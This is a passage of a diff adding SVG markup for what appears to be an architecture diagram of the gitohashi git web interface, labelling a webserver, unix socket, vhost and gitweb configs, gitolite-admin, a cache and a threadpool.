+			<text x="-279.01175" y="-374.48941" fill="#000000" font-family="'Open Sans'" font-size="4.9183px" letter-spacing="0px" stroke-width=".61478" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-279.01175" y="-374.48941">vhost</tspan><tspan x="-279.01175" y="-368.34158">config</tspan></text>
+			<rect x="-334.7" y="-441.53" width="54.172" height="18.538" fill="#00f"/>
+			<text x="-306.91687" y="-432.90109" fill="#ffffff" font-family="'Open Sans'" font-size="8.7318px" letter-spacing="0px" stroke-width="1.0915" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-306.91687" y="-432.90109" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.0915">webserver</tspan></text>
+		</g>
+		<path d="m-311.3-448.38v6.9969" fill="none" marker-end="url(#f)" marker-start="url(#y)" stroke="#000" stroke-width=".77603px"/>
+		<text x="-293.15182" y="-416.7309" fill="#000000" font-family="'Open Sans'" font-size="4.9183px" letter-spacing="0px" stroke-width=".61478" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-293.15182" y="-416.7309" font-family="'Open Sans'" stroke-width=".61478">unix socket</tspan></text>
+		<text x="-307.6283" y="-426.52966" fill="#ffffff" font-family="'Open Sans'" font-size="4.7994px" letter-spacing="0px" stroke-width=".59993" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-307.6283" y="-426.52966" fill="#ffffff" font-family="'Open Sans'" stroke-width=".59993">eg, apache, lighttpd</tspan></text>
+		<path d="m-333.02-408.06-8.1394-9.4624 0.0754-33.959 22.85-12.895" fill="none" stroke="#4d4d4d" stroke-dasharray="0.8404728, 0.8404728" stroke-width=".84047"/>
+		<text x="-353.00491" y="-448.07117" fill="#4d4d4d" font-family="'Open Sans'" font-size="4.9183px" letter-spacing="0px" stroke-width=".61478" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-353.00491" y="-448.07117">direct</tspan><tspan x="-353.00491" y="-441.92334">h1 / h2</tspan><tspan x="-353.00491" y="-435.77551">http[s]</tspan><tspan x="-353.00491" y="-429.62766">serving</tspan></text>
+		<g transform="matrix(2.167 0 0 2.167 -428.18 -767.27)" stroke="#000">
+			<path transform="matrix(.50721 0 0 .50721 25.042 69.595)" d="m51.659 134.03c-2.0851-0.12503-3.8134 1.7965-4.5661 3.9988-1.5249 1.1166-4.2394-0.53702-5.789 1.0267-2.0771 2.076-0.37705 6.0117 2.7601 4.8135-0.47278 1.5099-0.75873 4.5771 1.522 5.411 2.1312 1.3398 4.9927 3.0089 7.4051 1.2303 0.68399 2.3393 3.6453 2.132 5.8297 2.0845 2.7293-0.0797 2.925-3.1718 3.7481-5.0413 2.2446 0.29343 5.4772 1.759 7.3986-0.52837 2.0288-1.933 1.2298-5.1169-1.3224-6.0736 0.52211-1.5598 3.1656-3.1727 2.0583-5.5736-0.53035-2.6615-4.5547-2.3289-6.5126-1.6479-1.7563 0.39989-4.1576-2.7705-6.6758-2.069-2.0834 0.0156-3.7796 3.3888-5.856 2.3689z" filter="url(#o)" stroke-width=".26458px"/>
+			<path d="m51.114 137.16c-1.0576-0.0634-1.9342 0.91121-2.316 2.0282-0.77345 0.56634-2.1503-0.27238-2.9362 0.52075-1.0535 1.053-0.19124 3.0492 1.4 2.4414-0.2398 0.76584-0.38483 2.3216 0.77195 2.7445 1.081 0.67957 2.5323 1.5261 3.756 0.62404 0.34693 1.1865 1.8489 1.0814 2.9569 1.0573 1.3843-0.0404 1.4836-1.6088 1.9011-2.557 1.1385 0.14883 2.7781 0.89221 3.7526-0.26799 1.029-0.98042 0.62376-2.5953-0.67075-3.0806 0.26481-0.79115 1.6056-1.6092 1.044-2.827-0.269-1.3499-2.3102-1.1812-3.3033-0.83582-0.89082 0.20282-2.1088-1.4052-3.386-1.0494-1.0567 8e-3 -1.917 1.7188-2.9702 1.2015z" fill="#fff" stroke-width=".1342px"/>
+		</g>
+		<path d="m-328.28-464.88c0.21885 1.3859 0.0881 4.0182 2.0096 3.973 2.649-0.85763 1.5491 2.2539 2.2606 3.7051 0.51529 1.7116 2.2933 2.58 3.8561 3.1856 1.4458-0.32128 2.9297-0.43055 4.3606-0.90077 0.57279-0.51512 1.3127-2.3266 1.448-0.44476-0.13232 1.8866 1.3782 3.5572 3.2402 3.6959 1.9637 0.0773 4.0203-1.1483 4.404-3.1757 0.3804-2.3441 2.8605-1.9735 4.5973-1.7593 2.506 0.44885 4.4817-1.4985 4.1063-3.6858-0.31599-0.60155-0.94045-1.4999-0.53175-1.9244 0.61675 0.22405 0.68359 0.28517 1.5065 1.1683 1.2771 1.4096 0.76661 3.4212-0.71242 4.48-1.8363 1.8671-4.6609 1.271-6.9506 0.85049-1.4439 0.0129-1.7754 2.813-2.933 3.9902-1.3944 1.246-3.5069 1.2349-5.2574 0.99344-2.6507-1.0194-1.8446-1.6178-2.2955-2.5216-1.2206 1.3905-2.8625 1.4182-4.5053 0.86446-2.1696-0.49547-4.2633-1.6908-5.2034-3.7574-1.0688-1.2054 0.79099-4.1726-1.6225-3.5388-1.7044-0.0987-2.8828-1.4651-2.9423-2.9971-0.0315-0.8072 0.35531-1.4056 0.81488-1.8559l0.36273-0.25643z" fill="#afdde9"/>
+		<g fill="none" stroke="#59f" stroke-width=".52878">
+			<path d="m-298.8-462.58c-2.4302-0.8665-4.8287 0.31854-5.2088 2.2516-0.57283 3.8423 2.7931 3.6218 3.8384 3.7462 2.1306-0.1516 1.8998-3.1403-0.0129-3.5147-0.65814-0.0987-1.8193 0.40383-1.368 1.2087"/>
+			<path d="m-315.45-469.86c-3.1873 1.5095-1.9104 6.7142 1.739 7.5747 2.9098 0.67189 5.0896-0.90373 5.4125-3.91-0.13262-5.8058-9.3627-2.4435-4.4215 1.1614 1.7998 0.91066 2.4473-2.2511 0.31213-1.9925"/>
+			<path d="m-316.27-452.11c2.1731-1.1625 2.913-4.9719 0.0703-6.7678-1.7938-1.1867-6.5017-0.77123-6.5761 2.0293 0.11092 2.6987 3.4484 3.2934 4.6464 1.8583 1.5111-1.9464-1.2-3.6675-1.7665-1.3124"/>
+			<path d="m-305.46-455.25c0.26806-1.2997-0.44592-2.7123-2.47-2.9702-1.4136-3e-3 -2.414 0.91379-2.5274 2.0134-0.14854 1.4416 0.89348 2.2783 0.89348 2.2783"/>
+			<path d="m-322.17-465.63c-0.33796 1.158-0.40682 2.8279 1.0784 4.2209"/>
+			<path d="m-325.57-459.33c1.7927-0.95713 1.5671-3.5348 0.23964-4.0478-2.8353-0.88644-3.3373 2.2776-1.2884 2.3728 0.28426-0.0309 0.53218-0.29526 0.48226-0.59156"/>
+		</g>
+		<g transform="matrix(3.0565 0 0 3.0565 -412.66 -868.25)">
+			<g transform="matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)">
+				<g transform="rotate(-9.1961 290.54 412.25)" fill="#4d4d4d">
+					<path d="m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z"/>
+					<path d="m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z"/>
+				</g>
+				<ellipse cx="289.7" cy="412.83" rx=".063066" ry=".059428" fill="url(#a)"/>
+			</g>
+			<path d="m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z" fill="url(#b)"/>
+			<path d="m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z" fill="#42484c" fill-opacity=".72157"/>
+			<text transform="rotate(-7.0969)" x="-6.6295662" y="125.1535" fill="#000000" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6295662" y="125.1535" stroke-width=".016811">gitohashi</tspan></text>
+			<text transform="rotate(-7.0969)" x="-6.6333256" y="125.14806" fill="#999999" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6333256" y="125.14806" fill="#999999" stroke-width=".016811">gitohashi</tspan></text>
+		</g>
+		<g transform="matrix(3.0363 -.35085 .35085 3.0363 -454.75 -860.97)">
+			<g transform="matrix(1.92 .75887 -.75887 1.92 -234.69 -887.49)">
+				<g transform="rotate(-9.1961 290.54 412.25)" fill="#4d4d4d">
+					<path d="m289.61 412.6 4.1903-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.1687 1.5912-0.0146-0.072-0.0143-0.0432z"/>
+					<path d="m289.62 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.14373 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.15225-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z"/>
+				</g>
+				<ellipse cx="289.7" cy="412.83" rx=".063066" ry=".059428" fill="url(#a)"/>
+			</g>
+			<path d="m8.1442 124.92 0.076005-0.0585 0.070158-0.0351 9.1206-1.0524 0.04677 0.0117-8.9861 1.1634-0.040926-0.0468-0.099391-0.0468-0.093545 0.0117z" fill="url(#b)"/>
+			<path d="m8.2377 125.23 0.14616-0.0643 0.046772-0.0468 9.0387-1.2628-0.03508 0.0351-9.0095 1.3447-0.12278 0.0117z" fill="#42484c" fill-opacity=".72157"/>
+			<text transform="rotate(-7.0969)" x="-6.6295662" y="125.1535" fill="#000000" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6295662" y="125.1535" stroke-width=".016811">gitohashi</tspan></text>
+			<text transform="rotate(-7.0969)" x="-6.6333256" y="125.14806" fill="#999999" font-family="'Open Sans'" font-size=".13449px" letter-spacing="0px" stroke-width=".016811" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6333256" y="125.14806" fill="#999999" stroke-width=".016811">gitohashi</tspan></text>
+		</g>
+		<path d="m-303.14-470.24c-1.8914 0.74338-1.9653 3.3298-0.70596 3.993 2.7138 1.2084 3.5783-1.8764 1.5541-2.2079-0.28579-3e-3 -0.56274 0.23169-0.54742 0.53183" fill="none" stroke="#59f" stroke-width=".52878"/>
+		<path d="m-329.28-464.17c-0.62153 1.9496 0.76114 4.4849 2.9484 4.4524 1.7546-0.47679 1.1411 1.598 1.074 2.5974 0.84581 3.0288 4.2497 4.5217 6.8578 5.0452 1.3867 0.13879 2.8644-0.46532 3.6478-1.6405 0.56635-0.10086-0.62766 1.8865 0.47985 2.1469 1.2104 1.1289 3.273 1.1991 5.4246 0.58059 1.7865-1.3485 2.4523-2.2829 2.8048-4.3242 0.86154-1.2381 2.4222 0.0957 3.6056-0.15437 2.0935 0.4536 4.5914-0.33616 5.6579-2.2744 0.22189-0.50217 0.63827-2.8246 0.70887-1.1277 0.0214 2.4603-2.278 4.7132-4.7667 4.4776-1.4311-0.0404-2.7916-0.53538-4.1902-0.78351-1.2277 0.42178-0.99072 2.0771-1.463 3.0806-0.39316 1.0215-1.1102 2.0672-2.2872 2.2212-1.3929 0.23384-2.7424 0.1941-4.1387 0.11336-1.2712-0.19501-2.6358-1.0169-3.2651-2.1868-1.6793 1.1312-3.9312 0.74219-5.6634-0.0537-1.6649-0.80545-3.3658-1.5887-4.2173-3.5438-0.42116-1.1738 0.68596-2.5199-0.0437-3.5689-1.1543 0.0639-2.5297-0.0214-3.1877-1.2067-0.72793-1.0221-0.69637-2.405-0.10459-3.4802l0.0632-0.18401 0.0547-0.18645z" fill="#006680" fill-opacity=".67769"/>
+		<rect x="-299.8" y="-335.5" width="13.333" height="13.197" fill="#806600"/>
+		<path d="m-293.24-360.41-3.3887-3.3055" fill="none" stroke="#000" stroke-width="1.0301"/>
+		<g>
+			<text x="-292.74414" y="-329.46896" fill="#ffff00" font-family="'Open Sans'" font-size="2.8991px" letter-spacing="0px" stroke-width=".36239" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-292.74414" y="-329.46896">gitolite-</tspan><tspan x="-292.74414" y="-325.84503">admin</tspan></text>
+			<path d="m-300.26-463.17c0.74056-0.65132 1.4937-1.2884 2.2264-1.9486 0.40163-0.73508 0.8519-1.4506 1.223-2.1979 0.0984-0.29832 0.0244-1.0452 0.26592-1.0661 0.25095 0.44634 0.52155 0.99477 0.26501 1.4995-0.27143 0.64115-0.4458 1.3185-0.71998 1.9588-0.57891 0.68485-1.1699 1.3596-1.7382 2.0534-0.52619 0.0214-1.0098-0.22587-1.5223-0.29892z" fill="#5297a9"/>
+			<path d="m-301.16-463.17 0.92926-0.75053 1.2152-0.82205 0.78629-0.64331 0.71481-1.1437 0.25033-1.1794-0.0358-1.1437-0.4289-1.2509-0.10733-0.0716 0.7148 0.46463 0.35741 0.64334 0.14311 0.64331-0.17881 1.0722-0.53613 1.0722-0.75052 1.2509-1.2152 1.0365-1.0007 0.82203z" fill="#afdde9"/>
+			<path d="m-319.42-475.86 0.82201 0.75053 0.0358 0.32167 0.0716 0.92925-0.28579 0.64331 0.82206 0.1431 1.3581 0.0716 1.3582 1.0007 0.67905 1.2152 1.3939-1.1079-4.0744-2.2159-0.7863-0.82203-0.67907-0.71481z"/>
+		</g>
+		<path d="m-325.69-469.4 0.29067 0.6002 1.4532-0.51174-0.29068-0.6255z" fill="#d4aa00"/>
+		<path d="m-307.67-476 0.29069 0.60022 1.4531-0.51176-0.29069-0.6255z" fill="#d4aa00"/>
+		<path d="m-323.23-475.19 0.45081-0.53273 0.36883-0.12313 0.12285 0.12313 0.32791-0.20479 0.0412 0.12284 0.49179-0.0396 0.2048 0.24574-0.45081 0.53278-0.40983 0.61476h-0.16383l-0.12284-0.12313 0.0412-0.32781-0.24604 0.4917-0.24575-0.0819 0.20478-0.4506-0.287 0.32781-0.16384-0.12284 0.0819-0.32781z" fill="#333"/>
+		<path d="m-321.16-475.06 3.2348 0.35382 0.0504 0.17698-3.6139-0.35383-0.0759-0.12629 0.0244-0.15161 0.20204-0.27814 0.48018-0.15161 0.20204 0.15161-0.0504 0.20204-0.22741 0.10114-0.10115-0.10114-0.17698 0.0504z" fill="#fc0"/>
+		<path d="m-289.96-458.59 0.77521 0.41465 2.1453 0.19837 1.5864-1.0275 0.84731 0.19836-0.34251-0.63096-0.23444-1.2078-0.99153-0.36054-1.2619 0.45068-1.1898 0.2705-0.86531 0.39659-0.39662 0.84731z" fill="#ffd42a"/>
+		<path d="m-291.98-459.51c-0.10819 0.21028-0.2164 0.42064-0.32448 0.63096 0.0275 0.20356-0.0306 0.43692 0.052 0.62166 0.17177 0.22741 0.21702 0.49287 0.3887 0.72038 0.0575 0.0761 0.38016 0.15221 0.43758 0.22832l1.1049-0.0562c0.15038-0.15619 0.30047-0.31248 0.4507-0.46873 0.0274-0.17636-3e-5 -0.36824 0.0966-0.52621 0.15405-0.32937 0.3081-0.65872 0.46217-0.98809-0.28608-0.0733-0.57844-0.12802-0.8605-0.21365-0.24269-0.12471-0.49859-0.22924-0.73238-0.3681-0.184-0.1727-0.36825-0.34524-0.55238-0.51787-0.17422 0.31256-0.34854 0.62531-0.52282 0.93778z" fill="#fff6ec"/>
+		<path d="m-292.24-459.08-1.1367-0.45472-1.2883-0.64414-1.7809-1.6293-0.87148-0.64414-0.0379 0.53046 2.2734 2.1977 2.9177 1.6293-0.18951-0.56836z" fill="#fff6d5"/>
+		<path d="m-288.81-457.31 2.4755 1.0413 0.55012 1.395-0.0591 0.58939-0.0981 0.25553 0.0184 0.19654 0.0786 0.0394 0.15711-0.17696 0.0786-0.53047 0.2161 0.5894-0.059 0.47154 0.15711 0.25552 0.0591-0.76622-0.2161-0.60907 0.29465 0.64835 0.0591 0.56978 0.0184 0.21609 0.15711-0.11768-0.11796-0.78586-0.29465-0.68767 0.33399 0.72693 0.19653 0.70732 0.15711 0.0184-0.23565-0.90372-0.33399-0.5305 0.41256 0.51084 0.19654 0.45188 0.15711-0.0394-0.35365-0.668-0.17696-0.60905-0.49119-0.3733-0.66798-1.4539-2.0433-0.72693z" fill="#fea"/>
+		<path d="m-297.33-462.39-0.24238-0.39141-0.80146-0.3355-0.37278 0.13045-0.13046 0.11193v0.11192l0.42872-0.16781 0.39139 0.16781-0.33549-0.11192-0.98784 0.31683 0.0372 0.13046 0.83875-0.27968 0.52188 0.14917-0.48462-0.0372-0.78281 0.27967-0.0559 0.13046 0.0559 0.0559 0.80146-0.33549 0.29831 0.0746-0.29831 0.33549-0.57778 0.18645-0.0746 0.13045 0.0184 0.14917 0.20508 0.0184 0.98785-0.46597 0.54052 0.11192z" fill="#fea"/>
+		<g fill="none" stroke="#bdc68a" stroke-width=".14422px">
+			<path d="m-289.92-458.97-0.81124-0.0361 0.68504 0.39659"/>
+			<path d="m-291.51-459.73 0.41462 0.55886-0.77518-0.18035"/>
+			<path d="m-291.47-458.61c-0.18338-0.0593-0.29709 0.0553-0.37742 0.18737-0.0534 0.11394 0.0395 0.23168 0.10733 0.31911 0.0871 0.0973 0.16323 0.21793 0.29955 0.2491 0.27142 0.0358 0.5267 0.0556 0.78164 0.0749 0.17606-0.0713 0.17026-0.34872 0.0129-0.43604-0.24727-0.17851-0.53492-0.29772-0.82196-0.39356z"/>
+		</g>
+		<path transform="matrix(3.0565 0 0 3.0565 401.07 -1477)" d="m-225.68 333.06 0.33073 0.14882 0.66146-0.34726 0.0496-0.13229-0.29766 0.16536-0.34726 0.23151-0.34727-0.24804z" fill="#fd5" filter="url(#v)"/>
+		<g fill="#d4aa00">
+			<path d="m-285.03-460.16 0.90982 0.0244 0.27784-0.37908 0.88453 0.1263 0.4549 0.50546 0.60652 1.0867-2.2745 0.70763-2.1987-0.30321z"/>
+			<path d="m-287.11-458.04 3.1843 0.88452 1.7438 0.50544 0.55601 0.55599 0.25277-0.68235-0.73289-1.5416-1.4911 0.7329-2.6788-0.90981z"/>
+			<path d="m-282.61-461.68-0.1516 0.20236 2.4261 0.70762 0.0759-0.22741z"/>
+			<path d="m-281.47-459.75 1.7438 0.96034 0.0759-0.15161-1.769-0.98561z"/>
+			<path d="m-280.62-459.34 0.14311 0.58969 0.0534 0.16079 0.14311 0.0184-0.10733-0.53609-0.0358-0.12499z"/>
+			<path d="m-281.71-461.2 0.1431 0.46462 0.2323 0.17881 0.12499 0.10733h0.0716l-0.25032-0.28579-0.17882-0.2323 0.0358-0.1431z"/>
+			<path d="m-290.92-461.59 0.51808-0.18949 0.48018-0.0632 1.0109-0.83401-0.23994 1.0867 0.36642 0.34118 0.17698 0.49281-0.0244 0.18951-0.37908 0.17696-0.13908-0.0379 0.0129-0.35379-0.44225-0.94771-1.251 0.60654-0.0129-0.12629v-0.16445z"/>
+		</g>
+		<path d="m-291.8-460.37c0.16904-0.37344 0.40582-0.72467 0.45873-1.1394 0.10115-0.25829 0.12012-0.74617 0.077-0.87598 0.0898 0.28334 0.12716 0.5995 0.35197 0.81601 0.19928 0.10847-0.0779 0.59934 0.22954 0.35565 0.3542-0.21334 0.72581-0.39499 1.1182-0.52646 0.1681 0.3305 0.33652 0.66102 0.50478 0.99151-0.0306 0.17667-0.15557 0.47462 0.11796 0.28395 0.28334-0.1681 0.60495-0.16658 0.92145-0.19041 0.17698-0.0752 0.58665-0.29619 0.61321-0.27632-0.43489 0.35237-0.87375 0.69995-1.3016 1.0609-0.17575 0.28182-0.43886 0.5202-0.55109 0.83478-0.0764 0.23077-0.17636 0.46569-0.12342 0.71322 0.0244 0.33285 0.0474 0.66574 0.0713 0.99859 0.2763 0.24912 0.52755 0.53207 0.82022 0.75946 0.17116 0.0773 0.34255 0.15467 0.5138 0.23231-0.16596 0.18125-0.29801 0.56485-0.53985 0.26988-0.25705-0.17055-0.51703-0.33738-0.76733-0.51805-0.15833-0.31038-0.49123-0.56363-0.51959-0.91653 1e-3 -0.30199-0.0889-0.62265 0.0626-0.90195 0.12528-0.33274 0.25064-0.66545 0.37611-0.99815-0.33212-0.0661-0.66963-0.12529-0.96883-0.29313-0.27999-0.0965-0.52915-0.25307-0.74629-0.45343-0.20081-0.15314-0.42993-0.46897-0.54021-0.084-0.1455 0.23353-0.28854 0.46866-0.43077 0.70426-0.13318-0.28701-0.051-0.58743-9e-3 -0.88352 0.0129-0.25583 0.27907-0.37379 0.42215-0.55791 0.10762-0.0905-0.11767 0.31656-0.14795 0.43189 6e-3 0.0382-0.14065 0.2106-0.0129 0.16261z" fill="#fc0"/>
+		<g>
+			<path d="m-289.62-459.41-0.11365 0.37911-0.16413 0.23994 0.10115 0.2653-0.0884 0.16413-0.0379 0.29069-0.0884 0.17696-0.36644 0.39171-0.90036 0.18523 0.95092-0.0593 0.45491-0.46753 0.0632-0.46755 0.44225-1.0614z" fill="#c5b35c"/>
+			<path d="m-288.01-460.64c-0.28977 0.17086-0.69534 0.18187-0.88048 0.49999-0.10847 0.32079-0.19958 0.65202-0.39835 0.93163-0.23352 0.49617-0.30737 1.0607-0.27325 1.6038 0.0545 0.31525 0.16902 0.64425 0.49821 0.75086 0.28213 0.1733 0.54859 0.38369 0.74203 0.65545 0.0306 0.42626 0.50471-0.1834 0.13291-0.26287-0.23719-0.0379-0.46004-0.16627-0.58023-0.37751-0.27294-0.21792-0.55729-0.47342-0.55284-0.85381-0.10545-0.56365-0.0932-1.1864 0.23994-1.677 0.38057-0.61758 1.0069-1.0115 1.5498-1.469 0.0621-0.084-0.25187 0.10632-0.3478 0.13793-0.0434 0.0214-0.0865 0.0407-0.12988 0.0608z" fill="#e3bb2c"/>
+			<path d="m-288.91-462.7-0.40438 1.0741 0.2653 0.44227 0.17698 0.44227-0.0759 0.29068 0.35383-0.15161-0.0129-0.21487-0.17698-0.48018-0.35383-0.32852z" fill="#cc9028"/>
+			<path d="m-291.27-462.34 0.0884 0.3159 0.1263 0.22741 0.12629 0.21487 0.0632 0.0244 0.0129 0.18951 0.0244 0.21486 0.20204-0.11364 0.41698-0.2274 0.42962-0.17698 0.20203-0.0884 0.0379 0.0129 0.0632 0.21488 0.15161 0.29067 0.17697 0.34118 0.10114 0.17696-0.0884 0.25279 0.0884 0.0759 0.31593-0.20204 0.36644-0.0504 0.25278-0.0115 0.18951-0.0244 0.48015-0.27784 0.0129 0.0379-0.50542 0.32854h-0.34118l-0.40434 0.0504-0.29069 0.17698-0.0129 0.0884 0.16413 0.0884-0.0504 0.0759-0.13907-0.12629-0.10115-0.11365-0.0884 0.0504-0.17698 0.0244-0.1263-0.0759 0.0129-0.0632 0.26532 0.0759 0.0632-0.0759-0.0379-0.1516 0.0379-0.17698-0.2274-0.51808-0.21488-0.40435-0.58126 0.2274-0.54337 0.31593-0.0632 0.11365 0.13908 0.0632 0.0759 0.0632-0.0379 0.0504-0.29067-0.21487-0.22741 0.0129v-0.0632l0.22741-0.0244-0.0244-0.36645-0.26531-0.42962-0.0759-0.24025z" fill="#806600" stroke="#a80" stroke-width=".061131"/>
+			<path transform="matrix(3.0565 0 0 3.0565 401.07 -1477)" d="m-226.87 333.21-0.14882-0.0165-0.15297-0.0786-0.1943-0.13643-0.24391-0.0992-0.0455-0.12816-0.10336 8e-3 -0.1695-0.16536-0.1695-0.1447-0.401-0.39274-0.0785-8e-3 0.062 0.0661 0.78961 0.73587 0.3638 0.21497 0.55397 0.27699z" fill="#e9ddaf" filter="url(#s)"/>
+			<path transform="matrix(3.0565 0 0 3.0565 401.07 -1477)" d="m-224.81 333.27 0.86403 0.32246 0.5085-0.15297-0.0744-0.15709-0.48369 0.23151-0.0703-8e-3 -0.62426-0.22737z" fill="#a0892c" filter="url(#t)"/>
+			<path transform="matrix(3.0565 0 0 3.0565 401.07 -1477)" d="m-225.89 333.31 0.10524 0.19293 0.10524 0.10524 0.12862 0.0292 0.0935 0.0819 0.28648 0.11109 0.18709 0.0526 0.0819-0.0526 0.0526 0.15201 0.076 0.26309 0.0643 0.1637-0.21632-0.43264-0.13447-0.0819-0.21632-0.0585-0.15202-0.076-0.12277-0.076-0.0643-6e-3 -0.0935-0.0234-0.0877-0.0526-0.0877-0.0526z" fill="#e0da73" filter="url(#q)"/>
+			<rect x="-382.39" y="-371.59" width="20.024" height="21.798" fill="#4d4d4d"/>
+			<text x="-372.83511" y="-358.23364" fill="#ffffff" font-family="'Open Sans'" font-size="5.8786px" letter-spacing="0px" stroke-width=".73482" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-372.83511" y="-358.23364" fill="#ffffff" font-family="'Open Sans'" stroke-width=".73482">cache</tspan></text>
+			<path transform="matrix(3.0565 0 0 3.0565 401.07 -1477)" d="m-224.59 332.84 0.1571 0.0331 0.19843-0.0165 0.14056-0.0248 0.10749-0.0909 0.27285-0.0413 0.19017 0.28938-0.24805 0.0331-0.19843 0.0827-0.1323 0.0248-0.24804-0.0992-0.32246-0.10749z" fill="#a80" filter="url(#u)"/>
+		</g>
+		<g fill="#d4aa00">
+			<path transform="matrix(3.0565 0 0 3.0565 401.07 -1477)" d="m-225.67 332.78 0.33073 0.0827 0.1819-0.15707 0.41341-0.17363 0.17364 0.0992 0.0496-0.0992-0.0992-0.0496-0.0496-0.0248-0.45476 0.13229-0.22324 0.13229z" filter="url(#r)"/>
+			<g>
+				<path d="m-282.4-461.58 0.11365-0.27784 0.40435 0.11365-0.13908 0.31589z"/>
+				<path d="m-280.97-461.19 0.11365-0.27784 0.40435 0.11364-0.13908 0.31589z"/>
+				<path d="m-281.16-459.73 0.15039-0.25979 0.38524 0.1675-0.18035 0.29403z"/>
+				<path d="m-280.27-459.23 0.15038-0.25981 0.38524 0.16749-0.18032 0.29404z"/>
+			</g>
+		</g>
+		<g>
+			<path d="m-291.73-458.46 0.35383 0.25277 0.39802 0.16414 0.37278 0.0759-6e-3 -0.10732-0.0632-0.0632-0.27785-0.17698-0.42332-0.18951-0.18309-0.0569-0.0884 0.0244z" fill="#fff"/>
+			<path d="m-287.16-457.99 0.1431 0.42888 0.67905-0.25032-0.16078-0.60758z" fill="#d1e668"/>
+			<path d="m-318.63-462.88c2.2782 2.6291 5.9992 4.7375 9.5155 3.4221 2.2088-0.87733 4.4969-3.0241 3.948-5.6234 0.0312-1.1017-2.0256-3.1178-1.2365-0.98855 0.53823 1.5393 0.0651 3.1351-1.2765 4.0674-1.1434 0.97858-2.7321 1.4401-4.2251 1.427-2.3253-0.45294-4.5583-1.3533-6.7253-2.3046z" fill="#87cdde"/>
+			<text x="-373.71854" y="-332.34729" fill="#4d4d4d" font-family="'Open Sans'" font-size="4.2582px" letter-spacing="0px" stroke-width=".53228" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-373.71854" y="-332.34729">gitweb</tspan><tspan x="-373.71854" y="-327.02454">config</tspan></text>
+			<rect x="-388.96" y="-405.89" width="35.345" height="13.197" fill="#4d4d4d"/>
+			<text x="-371.20612" y="-397.36557" fill="#ffffff" font-family="'Open Sans'" font-size="5.8786px" letter-spacing="0px" stroke-width=".73482" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-371.20612" y="-397.36557" fill="#ffffff" font-family="'Open Sans'" stroke-width=".73482">threadpool</tspan></text>
+			<rect x="-340.79" y="-409.11" width="48.727" height="23.358" fill="#4d4d4d"/>
